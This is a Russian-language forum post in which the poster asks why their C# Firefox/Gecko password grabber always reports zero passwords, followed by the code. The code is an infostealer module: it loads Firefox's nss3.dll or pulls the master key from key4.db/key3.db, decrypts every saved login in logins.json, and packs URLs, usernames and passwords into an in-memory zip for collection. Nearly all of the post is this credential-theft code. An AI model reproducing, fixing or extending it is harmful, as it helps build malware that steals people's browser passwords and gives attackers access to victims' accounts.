- Новое
- Добавить закладку
- #1
Доброго времени суток, нужна помощь, На c# реализован класс для граба паролей gecko, но по окончанию работы программы, количество паролей постоянно 0, в чем может быть проблема?
Был бы очень раз за разьяснение! 
C#:
public static class NSSDecryptor
{
public struct SECItem
{
public int Type;
public IntPtr Data;
public int Len;
}
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Init(string configdir);
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int NSS_Shutdown();
[DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);
public static bool Initialize(string profilePath)
{
try
{
string text = "C:\\Program Files\\Mozilla Firefox";
if (!Directory.Exists(text))
{
return false;
}
string environmentVariable = Environment.GetEnvironmentVariable("PATH");
environmentVariable = environmentVariable + ";" + text;
Environment.SetEnvironmentVariable("PATH", environmentVariable);
return NSS_Init(profilePath) == 0;
}
catch
{
return false;
}
}
public static string Decrypt(string base64)
{
try
{
byte[] array = Convert.FromBase64String(base64);
if (array.Length == 0)
{
return null;
}
SECItem data = new SECItem
{
Data = Marshal.AllocHGlobal(array.Length),
Len = array.Length,
Type = 0
};
Marshal.Copy(array, 0, data.Data, array.Length);
SECItem result = default(SECItem);
int num = PK11SDR_Decrypt(ref data, ref result, 0);
Marshal.FreeHGlobal(data.Data);
if (num != 0 || result.Data == IntPtr.Zero)
{
return null;
}
byte[] array2 = new byte[result.Len];
Marshal.Copy(result.Data, array2, 0, result.Len);
return Encoding.UTF8.GetString(array2);
}
catch
{
return null;
}
}
}
C#:
private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
{
string path = Path.Combine(profile, "logins.json");
if (!File.Exists(path))
{
return;
}
string path2 = Path.Combine(profile, "key4.db");
string path3 = Path.Combine(profile, "key3.db");
byte[] masterKey = null;
if (File.Exists(path2))
{
masterKey = NssDumpMasterKey.Key4Database(path2);
}
else if (File.Exists(path3))
{
masterKey = NssDumpMasterKey.Key3Database(path3);
}
if (masterKey == null && !NSSDecryptor.Initialize(profile))
{
return;
}
string text = File.ReadAllText(path);
if (string.IsNullOrEmpty(text))
{
return;
}
MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline);
if (matchCollection.Count == 0)
{
return;
}
ConcurrentBag<string> lines = new ConcurrentBag<string>();
Parallel.ForEach(matchCollection.Cast<Match>(), delegate(Match match)
{
string value = match.Groups[1].Value;
string value2 = match.Groups[2].Value;
string value3 = match.Groups[3].Value;
string text2 = "";
string text3 = "";
if (masterKey == null)
{
text2 = NSSDecryptor.Decrypt(value2);
text3 = NSSDecryptor.Decrypt(value3);
}
else
{
Asn1Der asn1Der = new Asn1Der();
byte[] toParse = Convert.FromBase64String(value2);
byte[] toParse2 = Convert.FromBase64String(value3);
Asn1DerObject asn1DerObject = asn1Der.Parse(toParse);
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2);
byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data;
byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data;
byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data;
byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data;
text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2);
text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4);
}
text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", ""));
text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", ""));
if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
{
lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n");
++counterBrowser.Password;
}
});
zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
}
